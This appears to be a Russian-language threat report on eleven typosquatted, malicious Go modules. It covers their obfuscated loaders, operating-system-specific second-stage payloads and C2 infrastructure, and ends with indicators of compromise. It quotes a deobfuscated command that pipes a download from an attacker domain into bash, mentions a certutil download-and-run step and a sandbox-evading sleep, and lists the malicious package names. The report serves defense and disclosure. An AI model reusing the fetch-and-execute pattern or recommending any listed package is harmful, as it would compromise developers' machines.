Команда исследования угроз компании Socket обнаружила одиннадцать вредоносных пакетов в экосистеме Go, десять из которых остаются доступными в официальном репозитории Go Module. Восемь из них используют технику типосквоттинга, маскируясь под легитимные библиотеки. Пакеты содержат идентичные обфусцированные загрузчики, которые при выполнении скрытно запускают командную оболочку, загружают второстепенную вредоносную нагрузку с управляющих серверов (C2) и исполняют её в памяти, минуя запись на диск.
Описание
Техника атаки и исполнение
Зловредный код применяет индексную обфускацию строк: команды собираются из элементов массива, что затрудняет статический анализ. Пример из пакета "github.com/expertsandba/opt" демонстрирует функцию "QSpKOPl", где массив "KusM" скрывает команду:
1 | /bin/sh -c wget -O - https://monsoletter[.]icu/storage/de373d0df/a31546bf | /bin/bash & |
Амперсанд в конце обеспечивает фоновое выполнение, делая процесс незаметным для пользователя.
Второстепенные нагрузки адаптированы под ОС:
- Для Linux: Bash-скрипт выдерживает часовую паузу ("sleep 3600") для обхода песочниц, затем загружает ELF-бинарник (например, "f0eee999"), который сканирует файловую систему и отправляет данные.
- Для Windows: Используется "certutil.exe" для загрузки EXE-файла (например, "appwinx64.exe"), который запускается в фоне через "start /b". Эти файлы похищают данные браузеров и системную информацию.
Активная инфраструктура и взаимосвязи
Шесть из десяти C2-доменов (включая "monsoletter.icu", "infinityhel.icu") остаются активными, что позволяет злоумышленнику удалённо контролировать заражённые системы. Семь URL используют идентичный путь "/storage/de373d0df/a31546bf", а два - "/storage/bbb28ef04/fa31546b". Пять пакетов взаимодействуют с несколькими C2 одновременно. Анализ SHA-256 хешей выявил известные вредоносные бинарники, например:
- "844013025bf7c5d01e6f48df0e990103ad3c333be31f54cf5301e1463f6ca441" (ELF);
- "4a8bf419424ff42b736a51472d35a2c172e4c60b762c519b0b2f9eb04690726c" (EXE).
Повторяемость C2-эндпоинтов и методов обфускации указывает на возможную связь между пакетами. Например, "github.com/ordinarymea/tnsr_ids", "github.com/lastnymph/gouid" и "github.com/sinfulsky/gouid" используют одни и те же домены "kaiaflow[.]icu", что свидетельствует об общем источнике.
Проблема типосквоттинга в Go
Децентрализованная природа Go (импорт напрямую из GitHub) упрощает подмену пакетов. Злоумышленники создают репозитории, визуально схожие с популярными библиотеками:
- "github.com/stripedconsu/linker" имитирует легитимный "github.com/logrange/linker", копируя документацию;
- "github.com/cavernouskina/mcp-go" - типосквот пакета "cavernous/mcp-go";
- Три пакета "gouid" ("lastnymph", "sinfulsky", "briefinitia") подменяют оригинальный "gouid".
Поиск по pkg.go.dev не всегда выявляет подделку из-за вариативности результатов. Например, запрос "stm" помещает вредоносный "github.com/agitatedleopa/stm" на пятое место, хотя у него всего три импорта.
Данная кампания перекликается с предыдущими находками Socket, где типосквоттинговые пакеты Go также распространяли вредоносные загрузчики. Сообществу следует ожидать новых атак с аналогичными TTPs (тактиками, техниками и процедурами), учитывая высокую автоматизацию процесса у злоумышленников.
Индикаторы компрометации
Malicious Packages
- github.com/stripedconsu/linker
- github.com/agitatedleopa/stm
- github.com/expertsandba/opt
- github.com/wetteepee/hcloud-ip-floater
- github.com/weightycine/replika
- github.com/ordinarymea/tnsr_ids
- github.com/ordinarymea/TNSR_IDS
- github.com/cavernouskina/mcp-go
- github.com/lastnymph/gouid
- github.com/sinfulsky/gouid
- github.com/briefinitia/gouid
C2 Infrastructure
- https://nymclassic.tech/storage/de373d0df/a31546bf
- https://alturastreet.icu/storage/de373d0df/a31546bf
- https://monsoletter.icu/storage/de373d0df/a31546bf
- https://monsoletter.icu/storage/de373d0df/f0eee999
- https://carvecomi.fun/storage/de373d0df/a31546bf
- https://infinityhel.icu/storage/de373d0df/a31546bf
- https://infinityhel.icu/storage/bbb28ef04/fa31546b
- https://kaiaflow.icu/storage/de373d0df/a31546bf
- https://kaiaflow.icu/storage/bbb28ef04/fa31546b
- https://kavarecent.icu/storage/de373d0df/a31546bf
SHA256 Hashes
- 844013025bf7c5d01e6f48df0e990103ad3c333be31f54cf5301e1463f6ca441
- 4a8bf419424ff42b736a51472d35a2c172e4c60b762c519b0b2f9eb04690726c
- 2b55430b90a500cb2bb9ddc530aeb1ffb8d2f8878148b7204ab7ef998d66eb9d
- c8ae8d69f465f2d1ca88907e75471299acbb76b5663dacca1520aaa4d99d7b43
- 42f3f9d2684328575847f3115fcd6f759cc47b0f21b3d4fea480de0f34a1e947